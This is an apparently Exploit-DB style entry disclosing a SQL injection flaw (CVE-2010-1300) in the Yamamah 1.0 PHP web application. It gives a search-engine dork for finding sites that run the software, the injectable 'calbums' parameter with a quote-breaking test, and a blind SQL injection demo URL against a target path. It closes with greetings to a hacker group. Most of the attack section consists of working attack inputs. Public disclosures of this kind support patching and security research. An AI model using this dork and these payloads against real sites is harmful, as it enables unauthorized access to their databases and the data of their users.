Yamamah 1.0 - SQL Injection

Author: TheMaStEr
type: webapps
platform: php
port: 
date_added: 2010-06-11 
date_updated:  
verified: 1 
codes: CVE-2010-1300 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comyamamah_v1.rar

# Exploit Title: Yamamah 1.0 SQL Injection Vulnerability
# Date: 12/06/2010
# Author: TheMaStEr <v4m@hotmail.de>
# Software Link: http://www.yamamah.org/
# Version: 1.00
# Tested on: Windows SP3
# Dork: intext:"Powered By : Yamamah Version 1.00"
# Code : http://localhost/y/index.php?calbums=1'
demo :
http://target/path/?calbums=1+and+1=1-- <Blind SQLi>
GreeTz : SA H4x0r (Abu Saud) , Dr-PHP , r3no , Hard_Hakerz , Ma3sTr0-Dz & All v4-Team Members

#